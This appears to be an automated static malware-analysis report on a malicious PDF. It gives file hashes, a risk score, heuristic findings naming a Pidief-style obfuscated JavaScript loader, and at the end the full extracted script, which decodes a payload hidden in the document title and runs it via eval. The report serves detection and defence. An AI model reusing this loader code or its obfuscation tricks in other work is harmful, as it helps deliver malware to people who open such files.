Malicious PDF — malware analysis report

Static analysis result for SHA-256 a00a188a97ab2ce2…

MALICIOUS

PDF

44.8 KB First seen: 2026-05-09
MD5: c164de025f676e6ee78788bbfce98a07 SHA-1: e37ed0ecbeee3c0b5aa7c8ee21fcf193dc1e8cfa SHA-256: a00a188a97ab2ce2ef7423435b1ba1c794f44da77671ebe8ac029ef64629cb3c
86 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, flagged by multiple heuristics and a high-confidence machine learning model. The JavaScript is likely intended to download and execute a second-stage payload, a common technique for initial access. No specific family could be identified from the available evidence.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB03C 481 bytes
SHA-256: a88571cd237c7ae429f5b40c54c5d453989d597a3b89ec90cbee37249b1b3d0b
Preview script
First 1,000 lines of the extracted script
uslv='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
e=(t,qwe)()[a[0]+b+a[1]+(a,t[0])];
gds=e('ti'+'tle');
s=gds.substr(t.length + 8,3)+'str';
q=gds[s](1,(1,t.length + 7));
avq=e('S'+'tring.fro'+q);
q=gds[s](14).split('u');;
e('k=q.length');
for (i = 0; i != k; i+=2) {
	ffhe = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	uslv += avq(ffhe);
}
e(uslv);

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